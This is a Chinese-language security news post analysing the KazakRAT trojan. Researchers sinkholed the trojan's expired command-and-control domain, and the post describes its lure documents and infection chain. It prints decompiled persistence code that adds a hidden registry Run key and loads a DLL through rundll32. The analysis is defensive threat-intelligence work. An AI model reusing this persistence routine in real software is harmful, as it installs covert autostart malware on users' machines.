安全研究人员逆向分析了 KazakRAT 恶意软件的客户端后,购买了一个其正在使用的、已过期的命令与控制(C2)域名。这个操作使得他们能够接管(或者说“沉洞”,sinkhole)那些已经感染了该木马的主机,实现了对攻击者基础设施的意外控制。
这件事也提醒各位安全从业者,管理和维护好自己的域名资产至关重要,千万别忘了续费。
关于这次攻击的更多技术细节与分析,可以查看源文。
攻击链可视化分析
下图清晰地描绘了与该恶意活动相关的复杂攻击链,涵盖了从初始诱饵文档分发到最终建立C2通信的完整过程:

核心持久化机制代码分析
攻击者利用Windows注册表实现开机自启动,确保木马在受感染主机上的持久化。以下是通过逆向工程获取的核心代码片段,展示了如何通过修改注册表“Run”键并调用rundll32加载恶意DLL:
if ( SHGetFolderPathW(0, 26, 0, 0, pszPath) >= 0 )// 26 = CSIDL_APPDATA -> User's AppData\Roaming file path
{
dwDisposition = 0;
if ( !RegOpenKeyExW( HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies", 0, 0xF003Fu, &phkResult )
&& !RegCreateKeyExW( HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run", // Run key persistence
0, 0, 0, KEY_SET_VALUE, NULL, &phkResult, &dwDisposition ) )
{
memset(String1, 0, sizeof(String1));
memset(Parameters, 0, sizeof(Parameters));
lstrcatw(String1, L"rundll32");
lstrcatw(String1, pszPath);
lstrcatw(String1, L"\\SysDriveLib.dll"); // C:\Users\[user]\AppData\Roaming\SysDrive\SysDriveLib.dll
lstrcatw(String1, L" sys");
RegSetValueExW(phkResult, L"G", 0, 1u, (const BYTE *)String1, 2 * wcslen(String1));
RegCloseKey(phkResult);
lstrcatw(Parameters, pszPath);
lstrcatw(Parameters, L"\\SysDrive\\SysDriveLib.dll");
lstrcatw(Parameters, L" sys");
ShellExecuteW(0, L"open", L"rundll32", Parameters, 0, 0);
}
}
这段代码典型地利用了系统工具rundll32.exe来执行DLL中的代码,是一种常见的规避检测和实现持久化的手段,在恶意软件分析中经常遇到。
诱饵文档示例
攻击者在初始攻击阶段使用了具有高度迷惑性的诱饵文档。下图是一份冒充哈萨克斯坦总统祝贺信的俄文文档,用于诱导目标用户执行恶意文件:

攻击流程梳理
下面这张手绘风格的流程图,以一种更直观的方式概括了从ZIP压缩包到建立持久化连接的整体流程,并关联了攻击中使用的多个C2域名:

这次事件生动地展示了攻击基础设施管理不善可能带来的反噬。对于防御方而言,监控和利用攻击者暴露的此类弱点,成为了安全研究和威胁情报工作中的一种有效策略。想了解更多此类技术分析与实战案例,可以关注云栈社区的相关讨论。